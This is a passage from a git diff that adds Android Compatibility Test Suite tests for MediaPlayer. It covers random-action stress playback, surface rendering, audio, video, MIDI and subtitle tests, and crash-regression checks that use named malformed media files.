+        File inpFile = new File(mInpPrefix + res);
+        ParcelFileDescriptor parcelFD =
+                ParcelFileDescriptor.open(inpFile, ParcelFileDescriptor.MODE_READ_ONLY);
+        AssetFileDescriptor afd = new AssetFileDescriptor(parcelFD, 0, parcelFD.getStatSize());
+        try {
+            mPlayer.setDataSource(afd.getFileDescriptor(), afd.getStartOffset(),
+                    afd.getLength());
+        } finally {
+            afd.close();
+        }
+    }
+
+    public void testPlayerRandomActionAV1() throws Exception {
+        testPlayerRandomAction(
+                "video_480x360_webm_av1_400kbps_30fps_vorbis_stereo_128kbps_48000hz.webm");
+    }
+
+    public void testPlayerRandomActionH264() throws Exception {
+        testPlayerRandomAction(
+                "video_480x360_mp4_h264_500kbps_30fps_aac_stereo_128kbps_44100hz.mp4");
+    }
+
+    public void testPlayerRandomActionHEVC() throws Exception {
+        testPlayerRandomAction(
+                "video_480x360_mp4_hevc_650kbps_30fps_aac_stereo_128kbps_48000hz.mp4");
+    }
+
+    public void testPlayerRandomActionMpeg2() throws Exception {
+        testPlayerRandomAction(
+                "video_480x360_mp4_mpeg2_1500kbps_30fps_aac_stereo_128kbps_48000hz.mp4");
+    }
+
+    private void testPlayerRandomAction(final String res) throws Exception {
+        WatchDog watchDog = new WatchDog(5000);
+        try {
+            mPlayer.setOnErrorListener(new MediaPlayer.OnErrorListener() {
+                @Override
+                public boolean onError(MediaPlayer mp, int what, int extra) {
+                    if (mPlayer == mp &&
+                            what == MediaPlayer.MEDIA_ERROR_SERVER_DIED) {
+                        Log.e(TAG, "mediaserver process died");
+                        mMediaServerDied = true;
+                    }
+                    return true;
+                }
+            });
+            loadSource(res);
+            mPlayer.setDisplay(mSurfaceHolder);
+            mPlayer.prepare();
+            mPlayer.start();
+
+            long seed = System.currentTimeMillis();
+            Log.v(TAG, "seed = " + seed);
+            Random r = new Random(seed);
+
+            watchDog.start();
+            for (int i = 0; i < NUMBER_OF_PLAYER_RANDOM_ACTIONS; i++) {
+                int action = r.nextInt(12);
+                int param1 = r.nextInt(MAX_PARAM);
+                int param2 = r.nextInt(MAX_PARAM);
+                Log.d(TAG, "Action: " + action + " Param1: " + param1 + " Param2: " + param2);
+                watchDog.reset();
+                assertTrue(!mMediaServerDied);
+
+                try {
+                    switch (action) {
+                        case 0:
+                            mPlayer.getCurrentPosition();
+                            break;
+                        case 1:
+                            mPlayer.getDuration();
+                            break;
+                        case 2:
+                            mPlayer.getVideoHeight();
+                            break;
+                        case 3:
+                            mPlayer.getVideoWidth();
+                            break;
+                        case 4:
+                            mPlayer.isPlaying();
+                            break;
+                        case 5:
+                            mPlayer.pause();
+                            break;
+                        case 6:
+                            // Don't add mPlayer.prepare() call here for two reasons:
+                            // 1. calling prepare() is a bad idea since it is a blocking call, and
+                            // 2. when prepare() is in progress, mediaserver died message will not
+                            // be sent to apps
+                            mPlayer.prepareAsync();
+                            break;
+                        case 7:
+                            mPlayer.seekTo(param1);
+                            break;
+                        case 8:
+                            mPlayer.setLooping(param1 % 2 == 0);
+                            break;
+                        case 9:
+                            mPlayer.setVolume((param1 * 2.0f) / MAX_PARAM,
+                                    (param2 * 2.0f) / MAX_PARAM);
+                            break;
+                        case 10:
+                            mPlayer.start();
+                            break;
+                        case 11:
+                            Thread.sleep(param1 % 20);
+                            break;
+                    }
+                } catch (Exception e) {
+                }
+            }
+            mPlayer.stop();
+        } catch (Exception e) {
+            Log.v(TAG, e.toString());
+        } finally {
+            watchDog.stop();
+        }
+    }
+}
diff --git a/tests/tests/media/player/src/android/media/player/cts/MediaPlayerSurfaceStubActivity.java b/tests/tests/media/player/src/android/media/player/cts/MediaPlayerSurfaceStubActivity.java
new file mode 100644
index 0000000..a6d2a0f
--- /dev/null
+++ b/tests/tests/media/player/src/android/media/player/cts/MediaPlayerSurfaceStubActivity.java
@@ -0,0 +1,85 @@
+/*
+ * Copyright (C) 2011 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.player.cts;
+
+import android.app.Activity;
+import android.content.res.AssetFileDescriptor;
+import android.content.res.Resources;
+import android.media.MediaPlayer;
+import android.media.cts.Preconditions;
+import android.os.Bundle;
+import android.os.ParcelFileDescriptor;
+import android.platform.test.annotations.AppModeFull;
+import android.util.Log;
+
+import java.io.File;
+import java.io.IOException;
+
+@AppModeFull(reason = "Instant apps cannot access the SD card")
+public class MediaPlayerSurfaceStubActivity extends Activity {
+
+    private static final String TAG = "MediaPlayerSurfaceStubActivity";
+
+    static final String mInpPrefix = WorkDir.getMediaDirString();
+    protected Resources mResources;
+
+    private VideoSurfaceView mVideoView = null;
+    private MediaPlayer mMediaPlayer = null;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        mResources = getResources();
+        mMediaPlayer = new MediaPlayer();
+        AssetFileDescriptor afd = null;
+
+        Preconditions.assertTestFileExists(mInpPrefix + "testvideo.3gp");
+        try {
+            File inpFile = new File(mInpPrefix + "testvideo.3gp");
+            ParcelFileDescriptor parcelFD =
+                    ParcelFileDescriptor.open(inpFile, ParcelFileDescriptor.MODE_READ_ONLY);
+            afd = new AssetFileDescriptor(parcelFD, 0, parcelFD.getStatSize());
+            mMediaPlayer.setDataSource(
+                    afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength());
+            afd.close();
+        } catch (Exception e) {
+            Log.e(TAG, e.getMessage(), e);
+        } finally {
+            if (afd != null) {
+                try {
+                    afd.close();
+                } catch (IOException e) {
+                    Log.e(TAG, e.getMessage(), e);
+                }
+            }
+        }
+
+        mVideoView = new VideoSurfaceView(this, mMediaPlayer);
+        setContentView(mVideoView);
+    }
+
+    @Override
+    protected void onResume() {
+        super.onResume();
+        mVideoView.onResume();
+    }
+
+    public void playVideo() throws Exception {
+        mVideoView.startTest();
+    }
+
+}
diff --git a/tests/tests/media/player/src/android/media/player/cts/MediaPlayerSurfaceTest.java b/tests/tests/media/player/src/android/media/player/cts/MediaPlayerSurfaceTest.java
new file mode 100644
index 0000000..6675f2f
--- /dev/null
+++ b/tests/tests/media/player/src/android/media/player/cts/MediaPlayerSurfaceTest.java
@@ -0,0 +1,46 @@
+/*
+ * Copyright (C) 2011 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.player.cts;
+
+import android.os.Bundle;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.Presubmit;
+import android.platform.test.annotations.RequiresDevice;
+import android.test.ActivityInstrumentationTestCase2;
+
+import androidx.test.filters.SmallTest;
+
+/**
+ */
+@Presubmit
+@SmallTest
+@RequiresDevice
+@AppModeFull(reason = "TODO: evaluate and port to instant")
+public class MediaPlayerSurfaceTest extends ActivityInstrumentationTestCase2<MediaPlayerSurfaceStubActivity> {
+
+    public MediaPlayerSurfaceTest() {
+        super("android.media.player.cts", MediaPlayerSurfaceStubActivity.class);
+    }
+
+    public void testSetSurface() throws Exception {
+        Bundle extras = new Bundle();
+        MediaPlayerSurfaceStubActivity activity = launchActivity("android.media.player.cts",
+                MediaPlayerSurfaceStubActivity.class, extras);
+        activity.playVideo();
+        activity.finish();
+    }
+}
diff --git a/tests/tests/media/player/src/android/media/player/cts/MediaPlayerTest.java b/tests/tests/media/player/src/android/media/player/cts/MediaPlayerTest.java
new file mode 100644
index 0000000..b530f66
--- /dev/null
+++ b/tests/tests/media/player/src/android/media/player/cts/MediaPlayerTest.java
@@ -0,0 +1,2601 @@
+/*
+ * Copyright (C) 2009 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.player.cts;
+
+import static junit.framework.TestCase.assertEquals;
+import static junit.framework.TestCase.assertFalse;
+import static junit.framework.TestCase.assertNotNull;
+import static junit.framework.TestCase.assertSame;
+import static junit.framework.TestCase.assertTrue;
+import static junit.framework.TestCase.fail;
+
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.content.res.AssetFileDescriptor;
+import android.graphics.Rect;
+import android.hardware.Camera;
+import android.media.AudioManager;
+import android.media.CamcorderProfile;
+import android.media.MediaDataSource;
+import android.media.MediaFormat;
+import android.media.MediaMetadataRetriever;
+import android.media.MediaPlayer;
+import android.media.MediaPlayer.OnSeekCompleteListener;
+import android.media.MediaPlayer.OnTimedTextListener;
+import android.media.MediaRecorder;
+import android.media.MediaTimestamp;
+import android.media.PlaybackParams;
+import android.media.SyncParams;
+import android.media.TimedText;
+import android.media.audiofx.AudioEffect;
+import android.media.audiofx.Visualizer;
+import android.media.cts.MediaPlayerTestBase;
+import android.media.cts.NonMediaMainlineTest;
+import android.media.cts.Preconditions;
+import android.media.cts.TestMediaDataSource;
+import android.media.cts.TestUtils.Monitor;
+import android.media.cts.Utils;
+import android.net.Uri;
+import android.os.Bundle;
+import android.os.Environment;
+import android.os.ParcelFileDescriptor;
+import android.os.PowerManager;
+import android.os.SystemClock;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.Presubmit;
+import android.platform.test.annotations.RequiresDevice;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.SmallTest;
+
+import com.android.compatibility.common.util.MediaUtils;
+
+import junit.framework.AssertionFailedError;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.BufferedReader;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileNotFoundException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.StringTokenizer;
+import java.util.UUID;
+import java.util.Vector;
+import java.util.concurrent.BlockingDeque;
+import java.util.concurrent.Callable;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.LinkedBlockingDeque;
+import java.util.concurrent.atomic.AtomicInteger;
+import java.util.stream.Collectors;
+import java.util.stream.Stream;
+
+/**
+ * Tests for the MediaPlayer API and local video/audio playback.
+ *
+ * The files in res/raw used by testLocalVideo* are (c) copyright 2008,
+ * Blender Foundation / www.bigbuckbunny.org, and are licensed under the Creative Commons
+ * Attribution 3.0 License at http://creativecommons.org/licenses/by/3.0/us/.
+ */
+@SmallTest
+@RequiresDevice
+@NonMediaMainlineTest
+@AppModeFull(reason = "TODO: evaluate and port to instant")
+@RunWith(AndroidJUnit4.class)
+public class MediaPlayerTest extends MediaPlayerTestBase {
+
+    private String RECORDED_FILE;
+    private static final String LOG_TAG = "MediaPlayerTest";
+
+    static final String mInpPrefix = WorkDir.getMediaDirString();
+
+    private static final int  RECORDED_VIDEO_WIDTH  = 176;
+    private static final int  RECORDED_VIDEO_HEIGHT = 144;
+    private static final long RECORDED_DURATION_MS  = 3000;
+    private static final float FLOAT_TOLERANCE = .0001f;
+
+    private final Vector<Integer> mTimedTextTrackIndex = new Vector<>();
+    private final Monitor mOnTimedTextCalled = new Monitor();
+    private int mSelectedTimedTextIndex;
+
+    private final Vector<Integer> mSubtitleTrackIndex = new Vector<>();
+    private final Monitor mOnSubtitleDataCalled = new Monitor();
+    private int mSelectedSubtitleIndex;
+
+    private final Monitor mOnMediaTimeDiscontinuityCalled = new Monitor();
+
+    private File mOutFile;
+
+    private int mBoundsCount;
+
+    @Override
+    @Before
+    public void setUp() throws Throwable {
+        super.setUp();
+        RECORDED_FILE = new File(Environment.getExternalStorageDirectory(),
+                "mediaplayer_record.out").getAbsolutePath();
+        mOutFile = new File(RECORDED_FILE);
+    }
+
+    @Override
+    @After
+    public void tearDown() {
+        if (mOutFile != null && mOutFile.exists()) {
+            mOutFile.delete();
+        }
+        super.tearDown();
+    }
+
+    @Presubmit
+    @Test
+    public void testFlacHeapOverflow() throws Exception {
+        testIfMediaServerDied("heap_oob_flac.mp3");
+    }
+
+    private static AssetFileDescriptor getAssetFileDescriptorFor(final String res)
+            throws FileNotFoundException {
+        Preconditions.assertTestFileExists(mInpPrefix + res);
+        File inpFile = new File(mInpPrefix + res);
+        ParcelFileDescriptor parcelFD =
+                ParcelFileDescriptor.open(inpFile, ParcelFileDescriptor.MODE_READ_ONLY);
+        return new AssetFileDescriptor(parcelFD, 0, parcelFD.getStatSize());
+    }
+
+    private void loadSubtitleSource(String res) throws Exception {
+        try (AssetFileDescriptor afd = getAssetFileDescriptorFor(res)) {
+            mMediaPlayer.addTimedTextSource(afd.getFileDescriptor(), afd.getStartOffset(),
+                    afd.getLength(), MediaPlayer.MEDIA_MIMETYPE_TEXT_SUBRIP);
+        }
+    }
+
+    // returns true on success
+    private boolean loadResource(final String res) throws Exception {
+        Preconditions.assertTestFileExists(mInpPrefix + res);
+        if (!MediaUtils.hasCodecsForResource(mInpPrefix + res)) {
+            return false;
+        }
+
+        try (AssetFileDescriptor afd = getAssetFileDescriptorFor(res)) {
+            mMediaPlayer.setDataSource(afd.getFileDescriptor(), afd.getStartOffset(),
+                    afd.getLength());
+
+            // Although it is only meant for video playback, it should not
+            // cause issues for audio-only playback.
+            int videoScalingMode = sUseScaleToFitMode ?
+                    MediaPlayer.VIDEO_SCALING_MODE_SCALE_TO_FIT
+                    : MediaPlayer.VIDEO_SCALING_MODE_SCALE_TO_FIT_WITH_CROPPING;
+
+            mMediaPlayer.setVideoScalingMode(videoScalingMode);
+        }
+        sUseScaleToFitMode = !sUseScaleToFitMode;  // Alternate the scaling mode
+        return true;
+    }
+
+    private boolean checkLoadResource(String res) throws Exception {
+        return MediaUtils.check(loadResource(res), "no decoder found");
+    }
+
+    private void playLoadedVideoTest(final String res, int width, int height) throws Exception {
+        if (!checkLoadResource(res)) {
+            return; // skip
+        }
+
+        playLoadedVideo(width, height, 0);
+    }
+
+    private void testIfMediaServerDied(final String res) throws Exception {
+        mMediaPlayer.setOnErrorListener((mp, what, extra) -> {
+            assertSame(mp, mMediaPlayer);
+            assertTrue("mediaserver process died", what != MediaPlayer.MEDIA_ERROR_SERVER_DIED);
+            Log.w(LOG_TAG, "onError " + what);
+            return false;
+        });
+
+        mMediaPlayer.setOnCompletionListener(mp -> {
+            assertSame(mp, mMediaPlayer);
+            mOnCompletionCalled.signal();
+        });
+
+        AssetFileDescriptor afd = getAssetFileDescriptorFor(res);
+        mMediaPlayer.setDataSource(afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength());
+        afd.close();
+        try {
+            mMediaPlayer.prepare();
+            mMediaPlayer.start();
+            if (!mOnCompletionCalled.waitForSignal(5000)) {
+                Log.w(LOG_TAG, "testIfMediaServerDied: Timed out waiting for Error/Completion");
+            }
+        } catch (Exception e) {
+            Log.w(LOG_TAG, "playback failed", e);
+        } finally {
+            mMediaPlayer.release();
+        }
+    }
+
+    // Bug 13652927
+    @Test
+    public void testVorbisCrash() throws Exception {
+        MediaPlayer mp = mMediaPlayer;
+        MediaPlayer mp2 = mMediaPlayer2;
+        AssetFileDescriptor afd2 = getAssetFileDescriptorFor("testmp3_2.mp3");
+        mp2.setDataSource(afd2.getFileDescriptor(), afd2.getStartOffset(), afd2.getLength());
+        afd2.close();
+        mp2.prepare();
+        mp2.setLooping(true);
+        mp2.start();
+
+        for (int i = 0; i < 20; i++) {
+            try {
+                AssetFileDescriptor afd = getAssetFileDescriptorFor("bug13652927.ogg");
+                mp.setDataSource(afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength());
+                afd.close();
+                mp.prepare();
+                fail("shouldn't be here");
+            } catch (Exception e) {
+                // expected to fail
+                Log.i("@@@", "failed: " + e);
+            }
+            Thread.sleep(500);
+            assertTrue("media server died", mp2.isPlaying());
+            mp.reset();
+        }
+    }
+
+    @Presubmit
+    @Test
+    public void testPlayNullSourcePath() throws Exception {
+        try {
+            mMediaPlayer.setDataSource((String) null);
+            fail("Null path was accepted");
+        } catch (RuntimeException e) {
+            // expected
+        }
+    }
+
+    @Test
+    public void testPlayAudioFromDataURI() throws Exception {
+        final int mp3Duration = 34909;
+        final int tolerance = 70;
+        final int seekDuration = 100;
+
+        // This is "R.raw.testmp3_2", base64-encoded.
+        final String res = "testmp3_3.raw";
+
+        Preconditions.assertTestFileExists(mInpPrefix + res);
+        InputStream is = new FileInputStream(mInpPrefix + res);
+        BufferedReader reader = new BufferedReader(new InputStreamReader(is));
+
+        Uri uri = Uri.parse("data:;base64," + reader.readLine());
+
+        MediaPlayer mp = MediaPlayer.create(mContext, uri);
+
+        try {
+            mp.setAudioStreamType(AudioManager.STREAM_MUSIC);
+            mp.setWakeMode(mContext, PowerManager.PARTIAL_WAKE_LOCK);
+
+            assertFalse(mp.isPlaying());
+            mp.start();
+            assertTrue(mp.isPlaying());
+
+            assertFalse(mp.isLooping());
+            mp.setLooping(true);
+            assertTrue(mp.isLooping());
+
+            assertEquals(mp3Duration, mp.getDuration(), tolerance);
+            int pos = mp.getCurrentPosition();
+            assertTrue(pos >= 0);
+            assertTrue(pos < mp3Duration - seekDuration);
+
+            mp.seekTo(pos + seekDuration);
+            assertEquals(pos + seekDuration, mp.getCurrentPosition(), tolerance);
+
+            // test pause and restart
+            mp.pause();
+            Thread.sleep(SLEEP_TIME);
+            assertFalse(mp.isPlaying());
+            mp.start();
+            assertTrue(mp.isPlaying());
+
+            // test stop and restart
+            mp.stop();
+            mp.reset();
+            mp.setDataSource(mContext, uri);
+            mp.prepare();
+            assertFalse(mp.isPlaying());
+            mp.start();
+            assertTrue(mp.isPlaying());
+
+            // waiting to complete
+            while(mp.isPlaying()) {
+                Thread.sleep(SLEEP_TIME);
+            }
+        } finally {
+            mp.release();
+        }
+    }
+
+    @Test
+    public void testPlayAudioMp3() throws Exception {
+        internalTestPlayAudio("testmp3_2.mp3",
+                34909 /* duration */, 70 /* tolerance */, 100 /* seekDuration */);
+    }
+
+    @Test
+    public void testPlayAudioOpus() throws Exception {
+        internalTestPlayAudio("testopus.opus",
+                34909 /* duration */, 70 /* tolerance */, 100 /* seekDuration */);
+    }
+
+    @Test
+    public void testPlayAudioAmr() throws Exception {
+        internalTestPlayAudio("testamr.amr",
+                34909 /* duration */, 70 /* tolerance */, 100 /* seekDuration */);
+    }
+
+    private void internalTestPlayAudio(final String res,
+            int mp3Duration, int tolerance, int seekDuration) throws Exception {
+        Preconditions.assertTestFileExists(mInpPrefix + res);
+        MediaPlayer mp = MediaPlayer.create(mContext, Uri.fromFile(new File(mInpPrefix + res)));
+        try {
+            mp.setAudioStreamType(AudioManager.STREAM_MUSIC);
+            mp.setWakeMode(mContext, PowerManager.PARTIAL_WAKE_LOCK);
+
+            assertFalse(mp.isPlaying());
+            mp.start();
+            assertTrue(mp.isPlaying());
+
+            assertFalse(mp.isLooping());
+            mp.setLooping(true);
+            assertTrue(mp.isLooping());
+
+            assertEquals(mp3Duration, mp.getDuration(), tolerance);
+            int pos = mp.getCurrentPosition();
+            assertTrue(pos >= 0);
+            assertTrue(pos < mp3Duration - seekDuration);
+
+            mp.seekTo(pos + seekDuration);
+            assertEquals(pos + seekDuration, mp.getCurrentPosition(), tolerance);
+
+            // test pause and restart
+            mp.pause();
+            Thread.sleep(SLEEP_TIME);
+            assertFalse(mp.isPlaying());
+            mp.start();
+            assertTrue(mp.isPlaying());
+
+            // test stop and restart
+            mp.stop();
+            mp.reset();
+            AssetFileDescriptor afd = getAssetFileDescriptorFor(res);
+            mp.setDataSource(afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength());
+            afd.close();
+            mp.prepare();
+            assertFalse(mp.isPlaying());
+            mp.start();
+            assertTrue(mp.isPlaying());
+
+            // waiting to complete
+            while(mp.isPlaying()) {
+                Thread.sleep(SLEEP_TIME);
+            }
+        } finally {
+            mp.release();
+        }
+    }
+
+    @Test
+    public void testConcurentPlayAudio() throws Exception {
+        final String res = "test1m1s.mp3"; // MP3 longer than 1m are usualy offloaded
+        final int tolerance = 70;
+
+        Preconditions.assertTestFileExists(mInpPrefix + res);
+        List<MediaPlayer> mps = Stream.generate(
+                () -> MediaPlayer.create(mContext, Uri.fromFile(new File(mInpPrefix + res))))
+                                      .limit(5).collect(Collectors.toList());
+
+        try {
+            for (MediaPlayer mp : mps) {
+                mp.setAudioStreamType(AudioManager.STREAM_MUSIC);
+                mp.setWakeMode(mContext, PowerManager.PARTIAL_WAKE_LOCK);
+
+                assertFalse(mp.isPlaying());
+                mp.start();
+                assertTrue(mp.isPlaying());
+
+                assertFalse(mp.isLooping());
+                mp.setLooping(true);
+                assertTrue(mp.isLooping());
+
+                int pos = mp.getCurrentPosition();
+                assertTrue(pos >= 0);
+
+                Thread.sleep(SLEEP_TIME); // Delay each track to be able to ear them
+            }
+            // Check that all mp3 are playing concurrently here
+            for (MediaPlayer mp : mps) {
+                int pos = mp.getCurrentPosition();
+                Thread.sleep(SLEEP_TIME);
+                assertEquals(pos + SLEEP_TIME, mp.getCurrentPosition(), tolerance);
+            }
+        } finally {
+            mps.forEach(MediaPlayer::release);
+        }
+    }
+
+    @Test
+    public void testPlayAudioLooping() throws Exception {
+        final String res = "testmp3.mp3";
+
+        Preconditions.assertTestFileExists(mInpPrefix + res);
+        MediaPlayer mp = MediaPlayer.create(mContext, Uri.fromFile(new File(mInpPrefix + res)));
+        try {
+            mp.setAudioStreamType(AudioManager.STREAM_MUSIC);
+            mp.setWakeMode(mContext, PowerManager.PARTIAL_WAKE_LOCK);
+            mp.setLooping(true);
+            mOnCompletionCalled.reset();
+            mp.setOnCompletionListener(mp1 -> {
+                Log.i("@@@", "got oncompletion");
+                mOnCompletionCalled.signal();
+            });
+
+            assertFalse(mp.isPlaying());
+            mp.start();
+            assertTrue(mp.isPlaying());
+
+            long duration = mp.getDuration();
+            Thread.sleep(duration * 4); // allow for several loops
+            assertTrue(mp.isPlaying());
+            assertEquals("wrong number of completion signals", 0, mOnCompletionCalled.getNumSignal());
+            mp.setLooping(false);
+
+            // wait for playback to finish
+            while(mp.isPlaying()) {
+                Thread.sleep(SLEEP_TIME);
+            }
+            assertEquals("wrong number of completion signals", 1, mOnCompletionCalled.getNumSignal());
+        } finally {
+            mp.release();
+        }
+    }
+
+    @Test
+    public void testPlayMidi() throws Exception {
+        runMidiTest("midi8sec.mid", 8000 /* duration */);
+        runMidiTest("testrtttl.rtttl", 30000 /* duration */);
+        runMidiTest("testimy.imy", 5625 /* duration */);
+        runMidiTest("testota.ota", 5906 /* duration */);
+        runMidiTest("testmxmf.mxmf", 29095 /* duration */);
+    }
+
+    private void runMidiTest(final String res, int midiDuration) throws Exception {
+        final int tolerance = 70;
+        final int seekDuration = 1000;
+
+        Preconditions.assertTestFileExists(mInpPrefix + res);
+        MediaPlayer mp = MediaPlayer.create(mContext, Uri.fromFile(new File(mInpPrefix + res)));
+        try {
+            mp.setAudioStreamType(AudioManager.STREAM_MUSIC);
+            mp.setWakeMode(mContext, PowerManager.PARTIAL_WAKE_LOCK);
+
+            mp.start();
+
+            assertFalse(mp.isLooping());
+            mp.setLooping(true);
+            assertTrue(mp.isLooping());
+
+            assertEquals(midiDuration, mp.getDuration(), tolerance);
+            int pos = mp.getCurrentPosition();
+            assertTrue(pos >= 0);
+            assertTrue(pos < midiDuration - seekDuration);
+
+            mp.seekTo(pos + seekDuration);
+            assertEquals(pos + seekDuration, mp.getCurrentPosition(), tolerance);
+
+            // test stop and restart
+            mp.stop();
+            mp.reset();
+            AssetFileDescriptor afd = getAssetFileDescriptorFor(res);
+            mp.setDataSource(afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength());
+            afd.close();
+            mp.prepare();
+            mp.start();
+
+            Thread.sleep(SLEEP_TIME);
+        } finally {
+            mp.release();
+        }
+    }
+
+    private final class VerifyAndSignalTimedText implements MediaPlayer.OnTimedTextListener {
+
+        final boolean mCheckStartTimeIncrease;
+        final int mTargetSignalCount;
+        int mPrevStartMs = -1;
+
+        VerifyAndSignalTimedText() {
+            this(Integer.MAX_VALUE, false);
+        }
+
+        VerifyAndSignalTimedText(int targetSignalCount, boolean checkStartTimeIncrease) {
+            mTargetSignalCount = targetSignalCount;
+            mCheckStartTimeIncrease = checkStartTimeIncrease;
+        }
+
+        void reset() {
+            mPrevStartMs = -1;
+        }
+
+        @Override
+        public void onTimedText(MediaPlayer mp, TimedText text) {
+            final int toleranceMs = 500;
+            final int durationMs = 500;
+            int posMs = mMediaPlayer.getCurrentPosition();
+            if (text != null) {
+                text.getText();
+                String plainText = text.getText();
+                if (plainText != null) {
+                    StringTokenizer tokens = new StringTokenizer(plainText.trim(), ":");
+                    int subtitleTrackIndex = Integer.parseInt(tokens.nextToken());
+                    int startMs = Integer.parseInt(tokens.nextToken());
+                    Log.d(LOG_TAG, "text: " + plainText.trim() +
+                          ", trackId: " + subtitleTrackIndex + ", posMs: " + posMs);
+                    assertTrue("The diff between subtitle's start time " + startMs +
+                               " and current time " + posMs +
+                               " is over tolerance " + toleranceMs,
+                               (posMs >= startMs - toleranceMs) &&
+                               (posMs < startMs + durationMs + toleranceMs) );
+                    assertEquals("Expected track: " + mSelectedTimedTextIndex +
+                                 ", actual track: " + subtitleTrackIndex,
+                                 mSelectedTimedTextIndex, subtitleTrackIndex);
+                    assertTrue("timed text start time did not increase; current: " + startMs +
+                               ", previous: " + mPrevStartMs,
+                               !mCheckStartTimeIncrease || startMs > mPrevStartMs);
+                    mPrevStartMs = startMs;
+                    mOnTimedTextCalled.signal();
+                    if (mTargetSignalCount >= mOnTimedTextCalled.getNumSignal()) {
+                        reset();
+                    }
+                }
+                Rect bounds = text.getBounds();
+                if (bounds != null) {
+                    Log.d(LOG_TAG, "bounds: " + bounds);
+                    mBoundsCount++;
+                    Rect expected = new Rect(0, 0, 352, 288);
+                    assertEquals("wrong bounds", expected, bounds);
+                }
+            }
+        }
+
+    }
+
+    static class OutputListener {
+        AudioEffect mVc;
+        Visualizer mVis;
+        boolean mSoundDetected;
+        OutputListener(int session) {
+            // creating a volume controller on output mix ensures that ro.audio.silent mutes
+            // audio after the effects and not before
+            mVc = new AudioEffect(
+                    AudioEffect.EFFECT_TYPE_NULL,
+                    UUID.fromString("119341a0-8469-11df-81f9-0002a5d5c51b"),
+                    0,
+                    session);
+            mVc.setEnabled(true);
+            mVis = new Visualizer(session);
+            int size = 256;
+            int[] range = Visualizer.getCaptureSizeRange();
+            if (size < range[0]) {
+                size = range[0];
+            }
+            if (size > range[1]) {
+                size = range[1];
+            }
+            assertEquals(Visualizer.SUCCESS, mVis.setCaptureSize(size));
+
+            Visualizer.OnDataCaptureListener onDataCaptureListener =
+                    new Visualizer.OnDataCaptureListener() {
+                        @Override
+                        public void onWaveFormDataCapture(Visualizer visualizer,
+                                byte[] waveform, int samplingRate) {
+                            if (!mSoundDetected) {
+                                for (byte b : waveform) {
+                                    // 8 bit unsigned PCM, zero level is at 128, which is -128 when
+                                    // seen as a signed byte
+                                    if (b != -128) {
+                                        mSoundDetected = true;
+                                        break;
+                                    }
+                                }
+                            }
+                        }
+
+                        @Override
+                        public void onFftDataCapture(
+                                Visualizer visualizer, byte[] fft, int samplingRate) {}
+                    };
+
+            mVis.setDataCaptureListener(
+                    onDataCaptureListener,
+                    /* rate= */ 10000, // In milliHertz.
+                    /* waveform= */ true, // Is PCM.
+                    /* fft= */ false); // Do not request a frequency capture.
+            assertEquals(Visualizer.SUCCESS, mVis.setEnabled(true));
+        }
+
+        void reset() {
+            mSoundDetected = false;
+        }
+
+        boolean heardSound() {
+            return mSoundDetected;
+        }
+
+        void release() {
+            mVis.release();
+            mVc.release();
+        }
+    }
+
+    @Test
+    public void testPlayAudioTwice() throws Exception {
+
+        final String res = "camera_click.ogg";
+
+        Preconditions.assertTestFileExists(mInpPrefix + res);
+        MediaPlayer mp = MediaPlayer.create(mContext, Uri.fromFile(new File(mInpPrefix + res)));
+        try {
+            mp.setAudioStreamType(AudioManager.STREAM_MUSIC);
+            mp.setWakeMode(mContext, PowerManager.PARTIAL_WAKE_LOCK);
+
+            OutputListener listener = new OutputListener(mp.getAudioSessionId());
+
+            Thread.sleep(SLEEP_TIME);
+            assertFalse("noise heard before test started", listener.heardSound());
+
+            mp.start();
+            Thread.sleep(SLEEP_TIME);
+            assertFalse("player was still playing after " + SLEEP_TIME + " ms", mp.isPlaying());
+            assertTrue("nothing heard while test ran", listener.heardSound());
+            listener.reset();
+            mp.seekTo(0);
+            mp.start();
+            Thread.sleep(SLEEP_TIME);
+            assertTrue("nothing heard when sound was replayed", listener.heardSound());
+            listener.release();
+        } finally {
+            mp.release();
+        }
+    }
+
+    @Test
+    public void testPlayVideo() throws Exception {
+        playLoadedVideoTest("testvideo.3gp", 352, 288);
+    }
+
+    private void initMediaPlayer(MediaPlayer player) throws Exception {
